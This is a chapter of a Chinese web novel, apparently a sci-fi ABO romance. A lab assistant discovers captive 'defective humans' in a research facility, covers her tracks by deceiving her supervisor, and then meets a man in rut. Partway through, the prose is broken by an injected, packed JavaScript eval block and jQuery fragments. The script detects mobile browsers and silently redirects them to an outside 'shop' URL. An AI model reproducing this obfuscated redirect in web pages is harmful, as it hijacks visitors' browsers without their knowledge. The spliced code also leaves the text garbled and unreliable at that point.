祝千越最终还是不知道牧和是怎么冒出来的,心中泛起淡淡的荒谬感,她尝试点开牧主教的聊天框,像是网卡一样进不去,可是点进其他人的聊天框却是正常的。
她平静安详地过完周末,切身体会到什么叫作岁月静好。
祝千越瘫在床上睡眼蒙眬,睡意温柔的缠绕着她,她的睡眠质量向来不错,哪怕是在空洞的桥头,祝千越也能收拾收拾裹紧被子继续睡,然后开始做梦,等她变有钱,第一件事就是忘本,第二件事就是蹬鼻子上脸,第三件事就是……
枕边的终端发出振动声,叮叮当当的悦耳铃声响起——
“过上了好日子红红火火∽赶上了好时代喜乐年华~你看那山捧金∽水流银啊,春夏秋冬里∽大地开花。”
“喂?”她终于摸到终端,中年沧桑的声音从屏幕那端传来,短短两天疲惫的像是换了个人,祝千越感觉他又老了十岁,恐怕马上就要退休然后由她来接班,当然那样更好。
“喂,你什么时候才回研究所啊?这两天应该有空吧,你就离开两天,见鬼似的工作量增长,这里快忙翻了。”
祝千越在心里默默翻了个白眼。
什么叫作她离开就忙起来了,合着她之前忙前忙后,忙里忙外的时候这人是一次没看见,选择性失明,尿遁休息的时候又不知道从哪里冒出来叫她赶紧回到工位。
果然全天下的领导都一个样。
终端那头。
兰塔累得气喘吁吁,打这通电话时还扶着墙,眼前好像还浮现着一连串数据图,老眼昏花,果然人到中年,果然不得不服老。
兰塔也很意外。
祝千越在的时候还没什么感觉,没想到少了她以后会这么忙。研究所的人像听不懂人话的人,没了脑袋的蠢驴,光靠他一个人只会发生争吵,也不知道她是怎么和那些人沟通的,还是她偷偷使用着现在最先进的脑机技术。
她请假的第二天早上,还有个榆木呆瓜来问自己,祝千越什么时候回来,结果当然是被他阴阳怪气一翻。
兰塔对此感到不可思议。硬要说的话,她从某种程度来说算个工作魅魔,想到这里,他涌动一阵恶寒,觉得自己应该跑上卫生间去吐出来。
兰塔这辈子最讨厌这些有钱人。
她惯会收买人心。
祝千越挂断电话,她今天没课,本来就可以抽出时间去研究所,其实她下午就打算让日子回归正轨,只是没想到兰塔的电话会提前。
从兰那斯前往研究所的路程不算远,或许是工作日,周一的街头很清静,连空中的飞行器都所剩无几,来来往往车辆经过,人们有秩序地在自己的生活里忙碌。
人们西装革履,脚步匆忙。
她今天穿的随意,长款羽绒服和牛仔裤,白板鞋,长长的卷发扎成马尾,偶尔路过几个人,她甚至能闻到对方身上的发胶味,这让祝千越想起她今早忘记补发根,不过头发应该还没长出来。
街头的超级大屏播放着富有科技感的广告,祝千越扫了一眼就没再看,等待红绿灯之际,余光再次被大屏上毫无预兆变换的颜色吸引。
熟悉的主持人出现在上面,对方年纪不小,脸上却全是胶原蛋白,她从对方脸上找不到一点被岁月磋磨的痕迹。
“时至今日,清除□□的实施仍没有完全覆盖,会议组再三商讨下决定扩大实施范围,还予我们安静的黎明。
搜索范围将在几日后扩大到下城区主城中心,上城区边环,希望广大群众发现异常,能积极举报。”
内容播放完毕后,白光一闪消失在屏幕中。
她皱着眉头确认新闻是崭新的,或许是前两天睡眠充足,她注意到前几次都没有注意过的细节,新闻播放完,消失前都会出现一个商标一样的东西。
圆框内的翅膀围绕着太阳,形成一副守护的姿态,让她想起对方口中的黎明。
她之前没在意,还以为是赞助商,来这里一段时间却从没见过这个图案的商品。
“你在想什么呢?还没从温暖的休息日回过神吗?”
对方走到她的面前,依旧是熟悉的白大褂,祝千越眼尖地注意到上面的褶皱,还真是越发不修边幅了。
“没什么,就是刚刚那几个讨厌的仿生人又在故意吓我,兰塔,你可真得好好管管他们,吓到我事小,要是哪天吓到别人就不好了。”
祝千越饶有其事道。
他难得没有急于反驳她,兰塔的疲惫肉眼可见,不知道是不是祝千越记错了,他的眼窝处还被压出一道褶皱。
这让他整个人看起来更苍老了些。
他还惦记着没做完的工作,熬夜让他的脑子有些混乱,只能尽量清晰地交代几句,“把这些东西送到第五层,记住不要出现意外,不然你我这辈子就完蛋了。”
那几个仿生人做事毛手毛脚的,他不太放心。虽然不想承认,但他的确意识到祝千越的稳定性。
他没有多停留,很快去忙手中的事情。
祝千越独自下到第五层,兰塔没有说谎,今天的确忙得不可开交,有一大堆数据被送过来,蓝屏就没熄灭过。
研究所建立在地下,哪怕是白天都很昏暗,此时下到第五层,头顶的光都是昏暗的绿色,显得诡异。
祝千越还惦记着白天在大屏上看见的新闻,心不在焉,她处在一种孤立无援的状态。
直到头顶的光线变得惨白,头顶空间变成拱形,她才托着药剂瓶堪堪停下,发现自己又走错了。
她之前不小心闯入这个地方,还为此被兰塔大骂一顿,与上次不同,研究所比往日忙,这次这里没有上次看管得严,她一路走来还没见到一个人影。
她几乎能想象到被人发现她在这里会迎来怎样一顿狗血淋头,祝千越后退一步,打算原路返回。
“吱吱吱”熟悉的声音再次在身后响起。
祝千越僵硬地看着脚下,她好像不小心踩到什么机关,身后惊起冷汗,有种命不久已的感觉,她只敢像蜗牛一样缓缓移动。
右脚彻底挪开的那一瞬间,墙面突然释放出红色光线,祝千越急忙躲开,还得保证药剂不会掉落,她不断引导,从左墙跳到右墙,终于让红光击中中间的透明墙壁。
红光击中的地方正是一直发出声音的源头。
祝千越的心跳越来越快,好像连皮下的血管都跟着张开呼吸。
她现在都会记得兰塔那副奇怪的神情,里面到底是什么东西,能让那种自大的家伙露出惶恐的神情,怀揣着好奇心,她没有马上离开。
光线消失,好在没有响起警报,意味着背后还有着保护机制。但透明墙的消失能让她靠得更近。
她缓缓弯腰凑在门前,屏息凝神,透过门缝看向声音的源头。
里面是仿生人还是需要研究的生物?
尖锐的挠墙声还在继续,从嗓子眼里发出的呕吐声紧随其后,仿佛成为混乱和嘈杂的代名词。
她的世界却突然安静了。
里面不是仿生人或动物。
她隐隐有种直觉,那是一种看见同类的荒诞感,原来她从来都不是一个人,仅一瞬间,鸡皮疙瘩全竖起来,头皮发麻。
里面是被捕捉的残次人,和她一样的人,只是她在门外的牢笼,他们是门内的囚徒。
她终于想起那个不敢细想,身边也没人质疑的问题。
为什么要突然抓捕他们,他们当了那么多底层,提供那么多廉价劳动力还不好吗,还不能满足吗。
金字塔顶端的人不会希望底端的人少才对吧……
她得做点什么。
可她能做什么?
祝千越的拳头攥得很紧,头脑的血几乎是在倒流,灌起强烈的不真实感,尽可能地压抑自己的呼吸声。
赶在兰塔来催促前,祝千越从第五层逃走了,她脚步踉跄,背影都露出狼狈。
第一层保护机制已经被破坏,祝千越不可能在短时间造出来,等兰塔找上门就她完蛋了,犹豫三秒后,她准备贼喊捉贼。
她匆匆忙忙找到对方,脚步生风,愤怒一触即发:“兰塔,你知不知道你到底做了什么?!”
被叫住的人还在状态之外,祝千越平时脾气很好,这还是他第一次见她如此生气,周围人的视线都望过来,兰塔被她吼得一阵心虚。
他特意挑了个人少的地方。
她单手撑在桌上,“你知道我去送药剂的时候看见了什么吗?第五层的保护机制居然被人破坏了!天啊,要是这件事情被人发现,我们两个人都得完蛋。”
“你到底是怎么管理的。”
她才说到一半,却仿佛一个重磅炸弹,兰塔顿时感觉视线一黑,天花乱坠,差点因为熬夜心肌梗死猝死过去。
他着急的在狭小的屋子里来回渡步。
“保护机制怎么会突然被破坏……”
祝千越看着羸弱无比,还是兰那斯在读的关系户,根本就没有动机,他在脑中一个个筛除人选。
她语气稍微平息,若有所思道:“你之前不是说过实验体丢失吗,会不会这两次事件都是同一个人做的?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817399|190960||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
事发突然,他感觉快看不见明天的太阳,要是上面的人查下来,他的职业生涯就完蛋了。
他打断她要说的话,做了一个噤声的手势,“听着,这件事我们都得瞒下去。”
祝千越愣住,“什么……”
他深吸一口气,努力牵起牵强的微笑,“保护机制被破坏这件事,除了你和我之外,不会再有第三个人知道,亲爱的,你也不想看见我被革职吧。”
她在听见革职两字后惊讶地捂住唇,露出怜惜的神情。
“您毕竟是带了我这么长时间的前辈,我看得出你是真正热爱研究,我会为你保密的。”
他听后终于松了口气,还没毕业的学生就是天真,要是其他人估计早给他管理不到位告发了。
就是松下这口气,他脚步一绊差点摔倒在地,还好被祝千越及时扶住手臂。
他有点尴尬,自己还没老成这样。
“你没事吧?”
“没事,就是身体不太舒服,老毛病了。”兰塔想到要事,迟疑一瞬,可是以他的身体情况来看等会必须休息,果然,昨晚就不该熬夜。
更不该放她请假通过。
“我的身体不适,你可以代我去送报告吗?你在这里待了那么久,做事认真,大家都是有目共睹的,今天过后,我可以给你开通更多研究所的权限。”
权限。
这真是一个巨大的诱惑,他给出的封口费太贵重,她一时间找不到拒绝的理由。
祝千越茫然地接过他递过来的权限卡,白金色的卡面被夹在指间,触感冰凉坚硬。
“轰隆——”
剧烈的雷光划过窗外,惊天动地。
她带着报告来到大楼底,从灯光的昏暗程度来看里面似乎没有人,唯有还在值守的保安,对方告诉她现在已经下班了。
雨水被冷风吹斜,打湿她半边肩头,远处的宣传板被风推倒,发出巨大的轰隆一声,叫人发抖。
“通融一下吧,送完东西我就走了,上面说数据报告今天必须送到,终端也一直没有给出回复。”祝千越说完不禁咳嗽一声。
让她整个人看起来更为脆弱,对方不忍再看,许是同为牛马,在确认有预约后,他招手让她进去。
她按照提示来到办公室门口,肩头和裤脚已经湿透。
说来搞笑,因为下雨的缘故,兰塔答应会把自己的车借给她,她在停车场转了半天也没找到对方的车。
眼见着来不及,她打了个电话过去,抱怨道:“我把停车场的车找遍了也没看见你的车在哪,肺里还吸满了别人的汽车尾气。”
“谁告诉你,我的车在停车场了。”
“那它在哪?”
就这样,她找到了那辆金色的小电驴,它停在研究所的背后,甚至没有提前盖上雨披,上面浸染了一层雨水,将座位淋湿,她合理怀疑对方是害怕雨天路滑,骑电动车容易翻车,有请不起代驾,才把车借给她。
好消息是她不用再使用她的交通工具腿。
雨水粘在肩头的感觉很难受,她边脱外套边朝办公室走去,安静的走廊只传来她的脚步声,也想不明白无纸化时代,对方为什么必须要报告单。
她的步履减慢,带上不确定的犹豫,没有刚进门时那么从容。
祝千越好像闻到了木质的香味,像檀木,祝千越不太确定,她算beta里嗅觉很差的一类人,空气中似乎又混着杉木和麝香。
不是说没人了吗。
她停下脚步,毫无预兆地和倒坐在地上的人对上视线,修长的腿被包裹在深色的西装裤下,他支着一条腿,衣衫凌乱,领夹掉在远处。
那是一双灰蓝色的眼眸,不同以往的沉默寡言,此刻正陷入不满的情动,摄人心魄,叫人移不开视线。
这不是两人第一次见面,或者说不是她第一次看见对方,青年曾经出现在终端里,与她隔着屏幕对上视线,在那之前,她还相信过相机会吸取人的魂魄的传说。
此刻他瞳孔失焦,看上去确实没了灵魂,正望着她的方向出神,祝千越先看了眼他身下的阴影,由深到浅,边缘分散。
有影子就证明他确实是人,不是晚上索命的艳鬼。
她朝对方走过去,半是蹲身,“先生,有什么需要我帮忙的吗?”
他那双修长的手指向远处的中控净化器,影子也跟着被拉长,顾询移开视线,不再注视她,而是艰难道。
“这里的中控净化器坏了......我易感期发作被信息素影响,找不到抑制剂。”